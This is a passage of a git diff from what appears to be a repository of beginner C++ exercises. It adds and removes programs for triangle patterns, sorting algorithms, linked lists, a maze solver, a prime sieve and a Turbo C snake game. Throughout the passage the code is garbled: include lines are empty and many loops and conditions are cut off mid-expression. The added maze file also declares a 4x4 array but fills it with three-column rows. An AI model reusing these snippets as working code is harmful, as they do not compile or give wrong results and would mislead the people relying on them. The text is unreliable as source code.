- printf("\t\t\t 1. Pascal's Triangle\n"); - printf("\t\t\t 2. Floyd's Triangle\n"); - - printf("Select the choice of pattern: "); - scanf("%d", &ch); - - //Pascal Triangle - if (ch == 1) - { - int rows, coef = 1, space, i, j; - printf("Enter the number of rows: "); - scanf("%d", &rows); - printf("\n-------PASCAL'S' TRIANGLE--------\n\n"); - for (i = 0; i < rows; i++) - { - for (space = 1; space <= rows - i; space++) - printf(" "); - for (j = 0; j <= i; j++) - { - if (j == 0 || i == 0) - coef = 1; - else - coef = coef * (i - j + 1) / j; - printf("%4d", coef); - } - printf("\n"); - } - } - - - //Floyd's Triangle - else if (ch == 2) - { - int rows, i, j, number = 1; - printf("Enter the number of rows: "); - scanf("%d", &rows); - printf("\n-------FLOYD'S TRIANGLE--------\n\n"); - for (i = 1; i <= rows; i++) - { - for (j = 1; j <= i; ++j) - { - printf("%d ", number); - ++number; - } - printf("\n"); - } - } - - else{ - printf("Invalid Choice!!"); - } - - printf("\n\nDo you want to continue(y/Y): "); - cin>>choice; - - } while(choice == 'y' || choice == 'Y'); - - return 0; -} - - -/*OUTPUT: - - 1. Pascal's Triangle - 2. Floyd's Triangle -Select the choice of pattern: 1 -Enter the number of rows: 6 - --------PASCAL'S' TRIANGLE-------- - - 1 - 1 1 - 1 2 1 - 1 3 3 1 - 1 4 6 4 1 - 1 5 10 10 5 1 - - -Do you want to continue(y/Y): y - 1. Pascal's Triangle - 2. Floyd's Triangle -Select the choice of pattern: 2 -Enter the number of rows: 5 - --------FLOYD'S TRIANGLE-------- - -1 -2 3 -4 5 6 -7 8 9 10 -11 12 13 14 15 - - -Do you want to continue(y/Y): n - --------------------------------- -Process exited after 15.85 seconds with return value 0 -Press any key to continue . . .*/ - diff --git a/Add Code Here/C++/pivot.cpp b/Add Code Here/C++/pivot.cpp deleted file mode 100644 index 8d1d905c36d..00000000000 --- a/Add Code Here/C++/pivot.cpp +++ /dev/null @@ -1,54 +0,0 @@ -//Code to find the pivot element in rotated sorted array -//Contribution to Hacktoberfest 2022 - -#include -using namespace std; - -//function to find the pivot - -int pivot(int arr[],int n){ - - //using binary search algorithm - - int s=0; - int e=n-1; - - while(s=arr[0]){ - s=mid+1; - } - - // else we update e as mid so pivot cannot be present after e - - else - e=mid; - - } - - // Unlike binary search here we return arr[s] instead of mid as our pivot is pointed by arr[s] - - return arr[s]; -} -int main(){ - - //declaring the array - - int arr[]={7,9,3,5,6}; - - //finding the size of the array - - int size=sizeof(arr)/sizeof(arr[0]); - - //declaring a variable to store the answer returned by pivot function - - int piv= pivot(arr,size); - - cout<<"Pivot in the array is : "< - -using namespace std; -#define ll long long -#define ld long double - - void print(vector> &ans,int index,vector &ds,vector& nums,int n){ - if(index==n){ - if(ds.size()==0){ - ans.push_back({}); - } - else - ans.push_back(ds); - return; - - } - ds.push_back(nums[index]); - print(ans,index+1,ds,nums,n); - ds.pop_back(); - - print(ans,index+1,ds,nums,n); - - } - vector> subsets(vector& nums) { - vector> ans; - vector ds; - int index=0; - int n=nums.size(); - print(ans,index,ds,nums,n); - - - return ans; - - - } - -int main(){ - -ios::sync_with_stdio(0); -cin.tie(0); -cout.tie(0); - -ll n; -cin>>n; -vector v(n); -for(ll i=0;i>v[i]; -} - -vector> ans= subsets(v); - -for(int i=0;i -using namespace std; - -int partition(int arr[], int s, int e){ - - int pivot = arr[s]; - - int cnt = 0; - for (int i = s+1; i <= e; i++) - { - if(arr[i] <= pivot){ - cnt++; - } - } - - //place pivot in right place - int pivotIndex = s+cnt; - swap(arr[s] , arr[pivotIndex]); - - //now arrange left and right part properly - int i = s; - int j = e; - - while ( i < pivotIndex && j > pivotIndex) - { - while (arr[i] <= pivot) - { - i++; - } - - while (arr[j] > pivot) - { - j--; - } - - if(i < pivotIndex && j > pivotIndex){ - swap(arr[i++], arr[j--]); - } - - } - - return pivotIndex; - - -} - -void quickSort(int arr[], int s, int e){ - - //base case - if(s>=e){ - return; - } - - int p = partition(arr, s, e); - - quickSort(arr, s, p-1); - - quickSort(arr, p+1, e); -} - -int main(){ - int arr[10] = {2, 4, 3, 1, 3, 6, 7, 8, 4, 0}; - int n = 10; - - quickSort(arr, 0, n-1); - - for (int i = 0; i < n; i++) - { - cout << arr[i]<<" "; - } - -} \ No newline at end of file diff --git a/Add Code Here/C++/radixSort.cpp b/Add Code Here/C++/radixSort.cpp deleted file mode 100644 index de7e721aa72..00000000000 --- a/Add Code Here/C++/radixSort.cpp +++ /dev/null @@ -1,102 +0,0 @@ -/*-----------------CODED BY ROCKHOPPER130-----------------*/ -#include -#include -#include -#define INF (int)1e9 -#define EPS 1e-9 -#define PI 3.1415926535897932384626433832795 -#define MOD 1000000007 -#define int long long int -#define FOR(i, j, k, in) for (int i=j ; i=k ; i-=in) -#define REP(i, j, k) FOR(i, j, k, 1) -#define RREP(i, j, k) RFOR(i, k, j, 1) -typedef std::pair PII; -typedef std::vector VI; -typedef std::vector VS; -typedef std::vector VII; -typedef std::vector VVI; -typedef std::map MPII; -typedef std::set SETI; -typedef std::multiset MSETI; -using namespace std; -using namespace std::chrono; - -///*------------------------FUNCTIONS-----------------------*/// - -int max_element(VI &v, int l) { - int max = v[0]; - REP(i,1,l){ - if (v[i] > max) - max = v[i]; - } - return max; -} - -void countSort(VI &v, int l, int exp) { - - int otpt[l]; - int i; - VI count(10,0); - - REP(i,0,l){ - count[(v[i] / exp) % 10]++; - } - REP(i,1,10){ - count[i] += count[i - 1]; - } - for (i = l - 1; i >= 0; i--){ - otpt[count[(v[i] / exp) % 10] - 1] = v[i]; - count[(v[i] / exp) % 10]--; - } - REP(i,0,l){ - v[i] = otpt[i]; - } - -} - -void radixSort(VI &v, int l) { - int m = max_element(v, l); - for (int exp = 1; m / exp > 0; exp *= 10){ - countSort(v, l, exp); - } -} - - -///*--------------------CODE BEGINS HERE--------------------*/// - -int32_t main() { -ios::sync_with_stdio(0); -cin.tie(0); - -VI v; - -REP(i,0,100){ - v.push_back(rand()%100); -} - -int l=v.size(); -REP(i,0,l){ - cout << v[i] << " "; -} -cout<<"\n"; - -auto start = steady_clock::now(); -radixSort(v,l); -auto end = steady_clock::now(); -auto elapsed_time = double (duration_cast (end - start).count()); -cout << "TIME FOR SORTING USING OUR RADIX SORT FUNCTION: " << elapsed_time << " nanoseconds" << "\n"; - -start = steady_clock::now(); -sort(v.begin(),v.end()); -end = steady_clock::now(); -elapsed_time = double (duration_cast (end - start).count()); -cout << "TIME FOR SORTING USING OUR STL SORT FUNCTION: " << elapsed_time << " nanoseconds" << "\n"; - -REP(i,0,l){ - cout << v[i] << " "; -} -cout<<"\n"; - -return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/ratInMaze.cpp b/Add Code Here/C++/ratInMaze.cpp deleted file mode 100644 index 05b1ee4ab96..00000000000 --- a/Add Code Here/C++/ratInMaze.cpp +++ /dev/null @@ -1,64 +0,0 @@ -#include -using namespace std; - -bool isSafe(int** arr,int x,int y, int n){ - if(x>n; -int** arr =new int*[n]; -for(int i=0;i>arr[i][j]; - } -} - -int** solarr =new int*[n]; -for(int i=0;i +using namespace std; + +// Define the dimensions of the maze +const int ROWS = 4; +const int COLS = 4; + +// Define the maze using a 2D character array +char maze[ROWS][COLS] = { + {'.', '#', '#'}, + {'.', 'S', '#'}, + {'#', '.', '.'}, + {'#', '#', 'E'} +}; + +// Function to check if a cell is valid (within bounds and not a wall) +bool isValid(int row, int col) { + return (row >= 0 && row < ROWS && col >= 0 && col < COLS && maze[row][col] != '#'); +} + +// Recursive function to solve the maze +bool solveMaze(int row, int col) { + // Base case: if we reach the endpoint, the maze is solved + if (maze[row][col] == 'E') { + return true; + } + + // Mark the current cell as visited + maze[row][col] = 'V'; // 'V' indicates visited + + // Explore all possible directions (up, down, left, right) + int dx[] = {-1, 1, 0, 0}; + int dy[] = {0, 0, -1, 1}; + + for (int i = 0; i < 4; ++i) { + int newRow = row + dx[i]; + int newCol = col + dy[i]; + + if (isValid(newRow, newCol) && maze[newRow][newCol] != 'V') { + // Recursively explore the next cell + if (solveMaze(newRow, newCol)) { + return true; + } + } + } + + // If none of the directions lead to a solution, backtrack + maze[row][col] = '.'; // Mark as unvisited + return false; +} + +int main() { + int start_row, start_col; + + // Find the start point + for (int i = 0; i < ROWS; ++i) { + for (int j = 0; j < COLS; ++j) { + if (maze[i][j] == 'S') { + start_row = i; + start_col = j; + break; + } + } + } + + if (solveMaze(start_row, start_col)) { + cout << "Maze is solvable!" << endl; + } else { + cout << "Maze is unsolvable!" << endl; + } + + return 0; +} diff --git a/Add Code Here/C++/remove-brackets-then-operate.cpp b/Add Code Here/C++/remove-brackets-then-operate.cpp deleted file mode 100644 index 91a7822642b..00000000000 --- a/Add Code Here/C++/remove-brackets-then-operate.cpp +++ /dev/null @@ -1,37 +0,0 @@ -// Remove all Brackets and perform the calculation - -#include -using namespace std; - -string solve(string s) { - int n = s.length(); - bool flag = false, ng = false; - for(int i=0;i> s; - cout << solve(s) << endl; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/reverseLinkedList.cpp b/Add Code Here/C++/reverseLinkedList.cpp new file mode 100644 index 00000000000..10c2c8a2dc7 --- /dev/null +++ b/Add Code Here/C++/reverseLinkedList.cpp @@ -0,0 +1,98 @@ +#include +using namespace std; + +class Node{ + + public: + int data; + Node *next; + + Node(int data) + { + this->data = data; + next = NULL; + } +}; + +class LinkedList{ + public: + Node *head; + + LinkedList() + { + head =NULL; + } + + void addNode(int data) + { + Node *temp = new Node(data); + if(head == NULL) + head = temp; + else + { + Node *x = head; + + while(x->next != NULL) + x = x->next; + + x->next = temp; + temp->next = NULL; + } + } + + void reverseLinkedList() + { + Node *prevNode = NULL; + Node *currentNode = NULL; + Node *nextNode = NULL; + + currentNode = head; + + while(currentNode != NULL) + { + nextNode = currentNode->next; + currentNode->next = prevNode; + prevNode = currentNode; + currentNode = nextNode; + } + + head = prevNode; + } + + void printLL() + { + Node *temp = head; + + while(temp != NULL) + { + cout << temp->data << "->"; + temp = temp->next; + } + cout << "NULL" << endl; + } +}; + + + +int main() { + LinkedList l; + int n; + cout << "Enter the number of elements in linked list: " << endl; + cin >> n; + + for(int i=0; i> x; + l.addNode(x); + } + + cout << "Given Linked List" << endl; + l.printLL(); + l.reverseLinkedList(); + cout << "Reversed Linked List" << endl; + l.printLL(); + + return 0; +} \ No newline at end of file diff --git a/Add Code Here/C++/reversevowels.cpp b/Add Code Here/C++/reversevowels.cpp deleted file mode 100644 index b924c1fc407..00000000000 --- a/Add Code Here/C++/reversevowels.cpp +++ /dev/null @@ -1,23 +0,0 @@ -class Solution { -public: - string reverseVowels(string s) { - int n=s.length()-1; - for(int i=0;i<=n;i++){ - if(s[i]=='a' || s[i]=='e' || s[i]=='i' || s[i]=='o' || s[i]=='u' || s[i]=='A' || s[i]=='E' || s[i]=='I' || s[i]=='O' || s[i]=='U'){ - while(i<=n && !(s[n]=='a' || s[n]=='e' || s[n]=='i' || s[n]=='o' || s[n]=='u' || s[n]=='A' || s[n]=='E' || s[n]=='I' || s[n]=='O' || s[n]=='U')){ - n--; - } - if(i<=n) - { - char temp=s[i]; - s[i]=s[n]; - s[n]=temp; - n--; - } - } - } - return s; - - } -}; - diff --git a/Add Code Here/C++/reversing-an-array.cpp b/Add Code Here/C++/reversing-an-array.cpp deleted file mode 100644 index 5081c07ceae..00000000000 --- a/Add Code Here/C++/reversing-an-array.cpp +++ /dev/null @@ -1,34 +0,0 @@ -#include -using namespace std; - -void printArray(int arr[],int size){ - - for(int i=1 ; i>& accounts) { - - int maxwlth=0; - int sum=0; - int n=accounts.size(); - for(int i=0;i>& grid) { - int m=grid.size(); - int n= grid[0].size(); - vector> v= {{0,-1},{1,0},{-1,0},{0,1}}; - - queue> q; - for(int i=0;inext; - - Node* evenStart=even; - while(even->next!=NULL && odd->next!=NULL) - { - odd->next=even->next; - odd=odd->next; - - even->next=odd->next; - even=even->next; - } - - odd->next=evenStart; - - if(odd->next!=NULL) - { - even->next=NULL; - } - - -} \ No newline at end of file diff --git a/Add Code Here/C++/selection_sort.cpp b/Add Code Here/C++/selection_sort.cpp new file mode 100644 index 00000000000..b7a1fea7bd4 --- /dev/null +++ b/Add Code Here/C++/selection_sort.cpp @@ -0,0 +1,26 @@ +#include +using namespace std; + +int main(){ + + int arr[4] = {11,55,35,10}; + + int n = 4; + + for(int i=0;i -using namespace std; - -//function to swap the the position of two elements -void swap(int *a, int *b) { - int temp = *a; - *a = *b; - *b = temp; -} - -//function to print an array -void printArr(int arr[], int n) { - for (int i = 0; i < n; i++) { - cout<>n; - int data[n]; - cout<<"\nEnter space-separated "<>data[i]; - selectionSort(data, n); - cout << "Sorted array in Acsending Order:\n"; - printArr(data, n); -} diff --git a/Add Code Here/C++/shell_sort.cpp b/Add Code Here/C++/shell_sort.cpp deleted file mode 100644 index 50a8a81cda8..00000000000 --- a/Add Code Here/C++/shell_sort.cpp +++ /dev/null @@ -1,54 +0,0 @@ -// C++ implementation of Shell Sort -#include -using namespace std; - -/* function to sort arr using shellSort */ -int shellSort(int arr[], int n) -{ - // Start with a big gap, then reduce the gap - for (int gap = n/2; gap > 0; gap /= 2) - { - // Do a gapped insertion sort for this gap size. - // The first gap elements a[0..gap-1] are already in gapped order - // keep adding one more element until the entire array is - // gap sorted - for (int i = gap; i < n; i += 1) - { - // add a[i] to the elements that have been gap sorted - // save a[i] in temp and make a hole at position i - int temp = arr[i]; - - // shift earlier gap-sorted elements up until the correct - // location for a[i] is found - int j; - for (j = i; j >= gap && arr[j - gap] > temp; j -= gap) - arr[j] = arr[j - gap]; - - // put temp (the original a[i]) in its correct location - arr[j] = temp; - } - } - return 0; -} - -void printArray(int arr[], int n) -{ - for (int i=0; i -#include -using namespace std; - -void primesieve(int n){ - int arr[n] = {0}; - for(int i=2; i<=n; i++){ - if(arr[i]==0){ - for(int j=i*i; j<=n;j+=i){ - arr[j] = 1; - - } - } - } - for(int i=2; i<=n; i++){ - if(arr[i]== 0 ){ - cout << i << endl; - } - } -} - -// void primesieve(int n ){ -// int prime[n] = {0} ; -// int i , j ; -// for (i = 2; i <= n; i++) -// { if (prime[i] == 0) -// { -// for(j = i*i ; j<= n ; j+=i){ -// prime[j] = 1; -// } -// } -// } - -// for ( i = 2; i <= n; i++) -// { -// if (prime[i] == 0) -// { -// cout<>n; - cout<<" ALL PRIME NUMBERS ARE : "; - primesieve(n); - return 0 ; -} \ No newline at end of file diff --git a/Add Code Here/C++/singlyLinkedList.cpp b/Add Code Here/C++/singlyLinkedList.cpp deleted file mode 100644 index 94881eda19d..00000000000 --- a/Add Code Here/C++/singlyLinkedList.cpp +++ /dev/null @@ -1,247 +0,0 @@ -#include -using namespace std; -class Node{ -public: - int key; - int data; - Node* next; - - // default constructor - Node(){ - key = 0; - data = 0; - next = NULL; - } - Node(int k, int d){ - key = k; - data = d; - } -}; - -class SinglyLinkedList{ -public: - Node* head; - SinglyLinkedList(){ // default constructor - head = NULL; - } - - // parameterized constructo it will pass an argurment and it will store that arguement in the head variabl - SinglyLinkedList(Node* n){ - head = n; - } - - //functions first we will check if node exist or not - Node* NodeExists(int k){ // we need this function it will check it node exist or not - // this function helps us in the rest of the functions. - Node*temp = NULL; - Node* ptr = head; - - while (ptr != NULL){ - if (ptr->key == k){ - temp = ptr; - } - ptr = ptr->next; - } - return temp; - } - - // appending node function - void appendNode(Node* n){ - if (NodeExists(n->key) != NULL){ - cout << "Node already exist with key value: " << n->key << "append another one\n"; - } - else - if (head == NULL){ //if it will check if there is no actual node it will create - head = n; - cout << "Node Appended Successfully\n"; - } - else{ // it will iterate till the last then it will create one - Node* ptr = head; - while (ptr->next != NULL){ - ptr = ptr->next; - } - ptr->next = n; - cout << "Node Appended\n"; - } - } - - //Prepend node operation it wil prepend at the beggining - void PrependNode(Node* n){ - if (NodeExists(n->key) != NULL){ - cout << "Node already exist with key value: " << n->key << "append another one\n"; - } - else{ - n->next = head; // it will store the addresss of old head and linked with that node - head = n; // here we will make the new node as a head - cout << "Node Prepended Successfully\n"; - } - } - - - // insert a node after a particular node in the list - void InsertNodeAfter(int k, Node*n)// the k represent the key value of after node and d will be the data of new node - { - Node* ptr = NodeExists(k); - if (ptr == NULL){ // it means no node exist with k particular node - cout << "Node Exist with the key value " << k; - } - else { - if (NodeExists(n->key) != NULL){ // it will check the new value if it matches with the old one - cout << "Node already exist with key value " << n->key << " insert another one\n"; - } - else{ // here we will linking - n->next = ptr->next; // n(4 is in case) of next has to store the address of ptr(ptr is 2 in case) of next - ptr->next=n; // here we will connect n which 4 with 4 which is n; - cout << "Node Inserted Successfully" << endl; - } - } - } - - // Update node by key - void UpdateNodeByKey(int k, int d) - { - Node*ptr = NodeExists(k); - if (ptr != NULL){ - ptr->data = d; - cout << "Data Updated Successfully\n"; - } - else{ - cout << "Node Doesn't Exist with key value: " << k << endl; - } - } - - // Deleting a particular node - void DeleteNodeByKey(int k){ - //first we will check if there is no node in the linked list - if (head == NULL){ - cout << "The linked list is already Empty\n"; - } - else if (head != NULL){ - if (head->key == k){ - head = head->next; - cout << "Node Unlinked with the " << k << endl; - } - else{ - Node* temp = NULL; - Node* prevptr = head; - Node* currentptr = head->next; - while (currentptr != NULL){ - if (currentptr->key == k){ - temp = currentptr; - currentptr = NULL; - } - else - { - prevptr = prevptr->next; - currentptr = currentptr->next; - } - } - if (temp != NULL){ - prevptr->next = temp->next; // it means first node is = to the third one - cout << "Node Unlocked with key value: " << k << endl; - } - else{ - cout << "Node Doesn't Exist with key value: " << k << endl; - } - } - } - } - - - // printing the linked list - void PrintLinkedList(){ - if (head == NULL){ - cout << "No Node Exist int the linked list\n"; - } - else - { - cout << "The linked list values are:" << endl; - Node* temp = head; - while (temp != NULL){ - cout << "(" << temp->key << "," << temp->data << ") -->"; - temp = temp->next; - } - } - } -}; - -int main(){ - SinglyLinkedList s1; - int option; - int key1, k1, data1; - - do - { - cout << "What operation do you want to perform" << endl; - cout << "Select one option but Enter [0] to exit the program" << endl; - cout << "1. Append Node()" << endl; - cout << "2. PrePend Noe()" << endl; - cout << "3. Insert Node After()" << endl; - cout << "4. Delete Node By Key()" << endl; - cout << "5. Update Node By Key()" << endl; - cout << "6. Print the Entire list()" << endl; - cout << "7. Clear the Screen()" << endl; - - cin >> option; - Node* n1 = new Node(); - - //if we use static memory concept then after execution of loop once the varival will lost. - switch (option) - { - case 1: - cout << "\n\t Append Node Operation\n"; - cout << "\t Enter key and data of the node to be appended\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.appendNode(n1); - break; - case 2: - cout << "\n\t Prepend Node Operation\n"; - cout << "\t Enter key and data of the node to be Prepended\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.PrependNode(n1); - break; - case 3: - cout << "\n\t Insert After Node Operation\n"; - cout << "\n\t Enter key of Existed Node:: and Data of the new Node which you want to insert\n"; - cin >> k1; - cout << "Now Enter the Key and data of the new Node\n"; - cin >> key1; - cin >> data1; - n1->key = key1; - n1->data = data1; - s1.InsertNodeAfter(k1, n1); - break; - case 4: - cout << "\n\t Delete node by key operation\n"; - cout << "\n\t Enter Key of the node to be deleted\n"; - cin >> k1; - s1.DeleteNodeByKey(k1); - break; - case 5: - cout << "\n\t Update by the key Operation\n"; - cout << "\n\t Enter the key of a node to be Updated\n"; - cin >> k1; - cin >> data1; - s1.UpdateNodeByKey(k1, data1); - break; - case 6: - cout << "\n\t Print the Entire List Operation\n"; - s1.PrintLinkedList(); - break; - case 7: - system("cls"); - break; - default: - cout << "Please Enter a valid Option\n"; - } - } while (option != 0); - - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/smallest_window_in_a_string.cpp b/Add Code Here/C++/smallest_window_in_a_string.cpp deleted file mode 100644 index 60efdbe6321..00000000000 --- a/Add Code Here/C++/smallest_window_in_a_string.cpp +++ /dev/null @@ -1,65 +0,0 @@ -// Smallest window in a string containing all the characters of another string -#include "bits/stdc++.h" -using namespace std; -string smallestWindow (string s, string t) - { - int m[256] = { 0 }; - - // Answer - int ans = INT_MAX; // length of ans - int start = 0; // starting index of ans - int count = 0; - - // creating map - for (int i = 0; i < t.length(); i++) { - if (m[t[i]] == 0) - count++; - m[t[i]]++; - } - - // References of Window - int i = 0; - int j = 0; - - // Traversing the window - while (j < s.length()) { - // Calculations - m[s[j]]--; - if (m[s[j]] == 0) - count--; - - // Condition matching - if (count == 0) { - while (count == 0) { - // Sorting ans - if (ans > j - i + 1) { - ans = min(ans, j - i + 1); - start = i; - } - // Sliding I - // Calculation for removing I - - m[s[i]]++; - if (m[s[i]] > 0) - count++; - - i++; - } - } - j++; - } - - if (ans != INT_MAX) - return s.substr(start, ans); - else - return "-1"; - } - - -int main(){ - string s; - cin>>s; - string patt; - cin>>patt; - cout< -#include -#include -#include -#include -#include -#include -#include -class Snake -{ - int p1,p2,v1,v2,v3,e1,e2,prev,now,n,colr,dsp,cnt,dly,m; - int stp, egGen; - int xr, yr; - void caught(); - public: - long scr; - int strtX,strtY,endX,endY; - int pos[100][2]; - void show(); - void init(); - void egg(); - void transpose(); - void gnrtCond(); - void gnrtUnCond(); - void check(); - void checkEgg(); - void move(); - void chngDir(); - void sndEt(); - void sndCgt(); - int test(); - void score(); - Snake(); - Snake(Snake*); - ~Snake(); - }; -Snake::Snake() - { - } -Snake::~Snake() -{ -} -void Snake::checkEgg() -{ - if((e1 == p1) && (e2 == p2)) - { sndEt(); - egg(); - dly--; - score(); - n++; - } -} -void Snake::sndEt() -{ nosound(); - sound(2500); - delay(2); - nosound(); -} -void Snake::sndCgt() -{ nosound(); - for(int x=1000;x>0;x--) - { sound(x); - delay(1); - } - nosound(); -} -void Snake::score() -{ char *p; - ltoa(scr,p,10); - settextstyle(8,0,1); - setcolor(0); - outtextxy(585,40,p); - if(egGen != 1){ - scr = scr + dly / 10; - } - ltoa(scr,p,10); - setcolor(10); - outtextxy(585,40,p); -} -void Snake::gnrtCond() -{ if(n < 367) - { if(now == 8 && (prev != 8 && prev != 2)) - { pos[0][0] = p1; - pos[0][1] = p2 - dsp; - prev = now; - } - if(now == 4 && (prev != 4 && prev != 1)) - { pos[0][0] = p1 + dsp; - pos[0][1] = p2; - prev = now; - } - if(now == 2 && (prev != 8 && prev != 2)) - { pos[0][0] = p1; - pos[0][1] = p2 + dsp; - prev = now; - } - if(now == 1 && (prev != 1 && prev != 4)) - {pos[0][0] = p1 - dsp; - pos[0][1] = p2; - prev = now; - } -} -} -void Snake::gnrtUnCond() -{ - if( prev == 8 ) - { pos[0][0] = p1; - pos[0][1] = p2 - dsp; - } - if( prev == 4 ) - {pos[0][0] = p1 + dsp; - pos[0][1] = p2; - } - if( prev == 2 ) - { pos[0][0] = p1; - pos[0][1] = p2 + dsp; - } - if( prev == 1 ) - {pos[0][0] = p1 - dsp; - pos[0][1] = p2; - } - p1 = pos[0][0]; - p2 = pos[0][1]; -} -void Snake::check() -{ - if(p1 > endX) - {p1 = strtX;} - else if(p1 < strtX) - { p1 = endX;} - if(p2 > endY) - { p2 = strtY;} - else if(p2 < strtY) - { p2 = endY;} - pos[0][0] = p1; - pos[0][1] = p2; -for(int i = 1;i < n;i++) - { if(p1 == pos[i][0] && p2 == pos[i][1]) - { caught(); - break; - } - } -} -void Snake::show() -{ - int x = getcolor(); - if(egGen != 1) - { - setcolor(getbkcolor()); - setfillstyle(1,getbkcolor()); - fillellipse(v1,v2,yr,yr); - } - else - egGen = 0; - if(egGen == 2) - egGen--; - setcolor(colr); - setfillstyle(1,9); - if(now == 8 || now == 2) - fillellipse(pos[0][0],pos[0][1],xr,yr); - else if(now == 4 || now == 1) - fillellipse(pos[0][0],pos[0][1],yr,xr); - setcolor(x); -} -void Snake::transpose() -{ int i,j,x,y; - p1 = pos[0][0]; - p2 = pos[0][1]; - if(!egGen){ - v1 = pos[n-1][0]; - v2 = pos[n-1][1]; - } - else - egGen = 0; - for(i = n-1;i >= 1;i--) - {pos[i][0] = pos[i-1][0]; - pos[i][1] = pos[i-1][1]; - } -} -void Snake::move() -{ int st = 0; - do{ - if(!kbhit()) - { checkEgg(); - if(!st) - show(); - else - st = 0; - delay(dly/4); - transpose(); - delay(dly/4); - gnrtUnCond(); - delay(dly/4); - check(); - delay(dly/4); - } - else if(stp){ - chngDir(); - gnrtCond(); - check(); - show(); - st = 1; - } - } while(stp); -} -void Snake::init() -{time_t tm; - srand(time(&tm)); - dsp = 20; - n = 5; - prev = 4; - for(int i = 4;i >= 0;i--) - { pos[i][0] = 201 + (n - i - 1) * dsp; - pos[i][1] = 301; - } - strtX = 21; - strtY = 21; - endX = 481; - endY = 361; - colr = 14; - now = prev; - dsp = 20; - stp = 111; - cnt = -1; - scr = 0; - dly = 150; - xr = 3; - yr = 9; - egg(); - egGen = 1; - score(); - int x = getcolor(); - setlinestyle(0,1,3); - setcolor(15); - rectangle(strtX-15,strtY-15,endX+15,endY+15); - rectangle(endX+25,strtY-15,getmaxx()-15,endY+15); - rectangle(strtX-15,endY+25,getmaxx()-15,getmaxy()-5); - line(endX+25,strtY+75,getmaxx()-15,strtY+75); - line(endX+25,strtY+200,getmaxx()-15,strtY+200); - line(endX+25,strtY+275,getmaxx()-15,strtY+275); - setlinestyle(0,1,1); - settextstyle(8,0,1); - setcolor(11); - outtextxy(514,40,"SCORE"); - setcolor(14); - settextstyle(11,0,5); - outtextxy(524,110," CONTROLS "); - outtextxy(522,135,"p = PAUSE"); - outtextxy(522,155,"g = RESUME"); - outtextxy(522,175,"e = EXIT"); - outtextxy(513,195,"ARROWS"); - outtextxy(512,205," -MOVEMENT"); - setcolor(14); - settextstyle(4,0,9); - outtextxy(getmaxx()-500,getmaxy()-110,"SNAKE"); - settextstyle(8,0,1); - setcolor(x); -} -void Snake::caught() -{ - stp = 0; - sndCgt(); -for(int i=0;i<=7;i++) - { if(i%2) - { setcolor(10); - outtextxy(512,250,"GAME OVER"); - delay(900); - } - else - {setcolor(0); - outtextxy(512,250,"GAME OVER"); - delay(500); - } - } -sleep(1); -} -void Snake::chngDir() - { int clr; - fillsettingstype *p; - char x = getch(); - if(x == 72) - now = 8; - else if(x == 77) - now = 4; - else if(x == 80) - now = 2; - else if(x == 75) - now = 1; - else if(x == 'e') - caught(); - else if(x == 'p') - { //int y = getcolor(); - int twnkl = 1; - settextstyle(11,0,9); - while(1) - {if(kbhit()) - { int c = getch(); - if(c == 'g') - { clr = getcolor(); - setcolor(0); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - break; - } - } - else - { if(twnkl%2) - { clr = getcolor(); - setcolor(10); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - setcolor(clr); - delay(1000); - } - else - { - clr = getcolor(); - setcolor(0); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - delay(1000); - } - } - twnkl++; - } - settextstyle(8,0,1); - } -} -Snake::Snake(Snake *p) -{ - *p=NULL; -} -void Snake::egg() -{ do - { e1 = (rand() % 100) * dsp + strtX; - e2 = (rand() % 100) * dsp + strtY; - } while(test()); - int x = getcolor(); - setcolor(7); - setfillstyle(1,random(15)+1); - fillellipse(e1,e2,xr+2,xr+2); - setcolor(x); - egGen = 2; -} -int Snake::test() -{ -for(int i=0;i= endX+1) || (e2 >= endY+1)) - break; - } - if(i != n) - return 1; - else - return 0; -} -void main() -{ -Snake snk; - int gd=DETECT,gm,i,j,k,x,y; - clrscr(); - initgraph(&gd,&gm,"C:\\Turboc3\\bgi"); - snk.init(); - snk.move(); - closegraph(); - restorecrtmode(); - } diff --git a/Add Code Here/C++/sortfabrics.cpp b/Add Code Here/C++/sortfabrics.cpp deleted file mode 100644 index af073ca7982..00000000000 --- a/Add Code Here/C++/sortfabrics.cpp +++ /dev/null @@ -1,34 +0,0 @@ -#include -using namespace std; -int main() -{ - int t; - cin >> t; - for (int j = 0; j < t; j++) - { - int n; - cin >> n; - vector> x; - vector> y; - for (int i = 0; i < n; i++) - { - string c; - int d, u; - cin >> c >> d >> u; - x.push_back({c, u}); - y.push_back({d, u}); - } - sort(x.begin(), x.end()); - sort(y.begin(), y.end()); - int res = 0; - for (int i = 0; i < n; i++) - { - if (x[i].second == y[i].second) - { - res++; - } - } - cout << "Case #" << j + 1 << ": " << res << endl; - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/spiral_traversal.cpp b/Add Code Here/C++/spiral_traversal.cpp deleted file mode 100644 index 2d78025eddc..00000000000 --- a/Add Code Here/C++/spiral_traversal.cpp +++ /dev/null @@ -1,45 +0,0 @@ -#include -using namespace std; - -int main(){ - int n,m; - cin>>n>>m; - int a[n][m]; - -for(int i=0;i>a[i][j]; - } - - int row_s=0,col_s=0,row_e=n-1,col_e=m-1; - - while(row_s<=row_e && col_s<=col_e){ - - for(int col=col_s;col<=col_e;col++){ - cout<=col_s;col--){ - cout<=row_s;row--){ - cout< -#include -#include -using namespace std; - -vector sortedSquares(vector& n) { - sort(n.begin(), n.end(), - [](int& n1, int& n2) { return abs(n1) < abs(n2); }); - for_each(n.begin(), n.end(), [](int& x) { x *= x; }); - return n; -} - -int main() { - vector v { - -7, -3, 2, 3, 11 - }; - - vector res = sortedSquares(v); - for(const int x: res) { - cout << x << " "; - } -} \ No newline at end of file diff --git a/Add Code Here/C++/stackArray.cpp b/Add Code Here/C++/stackArray.cpp deleted file mode 100644 index 168d2de002b..00000000000 --- a/Add Code Here/C++/stackArray.cpp +++ /dev/null @@ -1,93 +0,0 @@ -#include -using namespace std; - -// Generic Class for Implementing Stack - -template -class Stack -{ -private: - 